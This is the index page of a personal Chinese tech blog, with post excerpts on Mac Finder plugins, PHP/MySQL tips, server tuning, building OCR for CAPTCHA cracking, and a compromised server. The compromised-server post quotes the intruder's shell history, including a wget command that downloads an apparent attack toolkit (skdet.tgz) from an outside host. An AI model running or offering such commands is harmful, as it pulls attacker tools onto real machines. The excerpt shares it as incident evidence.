-
Recent Posts
Recent Comments
- ios下使用rsa算法与php进行加解密通讯 | 老谷自言自语 on About
- york_gu on ios下使用rsa算法与php进行加解密通讯
- aiddroid on 移动应用中,通过在客户端对访问的url进行加密处理来保护服务器上的数据
- GOGO on ios下使用rsa算法与php进行加解密通讯
- york_gu on php获取IP地理位置信息,纯真数据库Sqlite版
Archives
Categories
Blogroll
Meta
Open Terminal iTerm Here plugin for Finder
Yesterday, I did a Finder plugin named OpenInTextMate. The process that I create it is just copied the code and icon file of the former OpenInTextMate and recompiled. But this one, OpenTerminaliTermHere is totally new.
Download OpenTerminaliTermHere here! Installation is as simple as before, just dr[......]
OpenInTextMate finder plugin with TextMate2 in MacOSX 10.7
After upgraded MacOSX to 10.7 and TextMate2, I find that the former OpenInTextMate plugin of Finder doesn’t work at all. Life went so hard without this small tool that I tried again and again to find out how to make it work. And finally, I did, and it’s very very simple!
TCClick在SAE上的安装部署步骤
- 注册登录SAE账号,具体步骤就不做介绍了,SAE网址http://sae.sina.com.cn/
- 在我的应用界面中创建一个新的应用,提交之后会让你输入安全密码,输进去就OK了
- 回到了应用列表页面,在列表中找到刚刚新建好的应用,点击进到应用的管理页面,下面我们要初始化一些TCClick会用到的服务
- 初始化MYSQL,在应用的管理界面的左边菜单栏找到MySQL,点击进到MYSQL管理界面,点击初始化Mysql
- 给MYSQL建表和导入初始化数据,在MYSQL管理界面点击管理MYSQL,进入PHPMyAdmin界面
在PHPMyAdmin界面右边找到SQL的tab,然后在输入框中填入https:[......]
php获取IP地理位置信息,纯真数据库Sqlite版
闲来无事,整理了平时用到的一些代码,顺便在github上发布了自己第一个开源项目,项目很简单,使用不同的办法来从纯真IP数据库中获取IP地址所对应的地理位置信息,同时还可以把纯真数据库里面记录的乱七八糟的位置信息转变成对应的国内的省份信息,以方便进行统计
- 通过PHP代码直接操作纯真数据库二进制文件来实现IP地理位置信息查找
- 通过PHP扩展qqwry操作纯真数据库二进制文件来实现IP地理位置信息查找
- 先把纯真数据库二进制文件转化成sqlite数据库,然后从sqlite数据库中查找IP所对应的地理位置信息
通过PHP操作纯真数据库的代码可以很容易从网上找到的,我这里的算法也是参照网上的代码实现[......]
zend studio 9.0.2 下载地址
随着PHP 5.4的正式发布,zend studio也发布了9.0.2版本。在zend官方网站上,我们可以很轻易的找到下载地址,但是有一个不方便的地方就是下载之前需要注册、登陆,很是麻烦。不过呢,经过注册登陆这些流程走到最后,我发现官方网站上面最终的下载地址是可以不登陆随意访问的,也就是可以不登陆直接通过这些地址直接下载文件:
Windows版不带JRE
http://downloads.zend.com/studio-eclipse/9.0.2/ZendStudio-without-JRE-9.0.2.msi
218 MB
Windows版不带JRE
http://download[......]
MYSQL列举某个数据库下面各个表的磁盘空间占用情况
列举所有数据库的磁盘空间占用情况
select TABLE_SCHEMA, concat(truncate(sum(data_length)/1024/1024,2),’ MB’) as data_size,
concat(truncate(sum(index_length)/1024/1024,2),’ MB’) as index_size
from information_schema.tables
group by TABLE_SCHEMA
order by data_length desc;
列举某个数据库下面各个表的磁盘空间占用情况
select TABLE_NAME, concat[......]
kernel nf_conntrack: table full, dropping packet 解决办法
最近很长一段时间,千寻影视的服务器状况不佳,一到晚上高峰时间便访问经常出问题,症状表现为:
- 不管调用哪个接口,服务器响应快的时候非常快,慢的时候又非常慢,即便是访问一个最简单的nginx的状态页(跟业务逻辑无关)都是如此
- 查看nginx日志,可以发现超量的超时 upstream timed out (110: Connection timed out) while reading response header from upstream
- 用xhprof对PHP的执行进行跟踪,又可以发现很多访问在PHP端执行了非常非常长的时间才返回,而且这些请求的时间都消耗在了PDO::__construc[......]
CentOS下编译安装tesseract-ocr
距之前一篇博文《使用gocr进行简单的验证码自动识别》到现在不知不觉就过去了近三个月了,最近重新折腾起验证码破解来了,不过这次,验证码要复杂些,gocr这玩意不够给力,单纯的数字识别准确率确实高,但是字母跟数字混杂的情况就完全应付不了了。所以这次,换了个高级点的,tesseract-ocr。
作为在最流行的免费linux发行版本来说,centos自带的yum真不给力啊,连tesseract-ocr都没有。
安装tesseract,首先安装一些依赖的库
wget http://www.leptonica.com/source/leptonica-1.68.tar.gz
tar xvf lepto[......]
一台新装服务器居然有幸第一天遭黑客光顾
最近千寻影视用户量增长比较快速,服务器压力接近极限,所以新购置了一台服务器,直接买来就拉到机房安装系统的,因为新装,所以就把root密码很简单的设置了root1234,奇迹就是奇迹,第二天居然就登陆不上去了,这么短的时间内就遭黑客光顾。
这黑客好像也没干什么坏事,现把他留下的痕迹贴在这里,欢迎有兴趣的朋友钻研:
.bash_history内容,他居然没有清掉,这位朋友上来第一件事情居然就是改密码
passwd
cd /usr/games
ls -a
wget www.darkkid.webs.com/arhive/skdet.tgz ; tar zxvf skdet.tgz ; cd skd[......]
iOS中使用c函数快速获取一个目录所占的空间大小
在编写iOS应用时,我们都会大量把服务器的接口调用数据或者图片数据进行缓存,为了更好的使用体验,有时候我们也会把各种缓存的数据所占的空间大小告诉用户,提供给用户参考,并让用户可以手动清除缓存数据,就像我们在千寻影视中也就提供了这样一个设置项。但是当数据多了之后,就会发现所占空间的大小计算非常耗时,因为缓存下来的是大量的小文件,这就会造成界面很久没有反映的状况。为了解决这种情况,当然是可以通过多线程的方法来做到的,但是在一个简单的设置界面做这么复杂的事情,我倒认为是一个拿起牛刀来杀鸡的行为了。本篇就是来探求一些优化手段,把目录的大小计算耗时降到可以接受的程度。
首先,在iOS当中,要实现一个功能[......]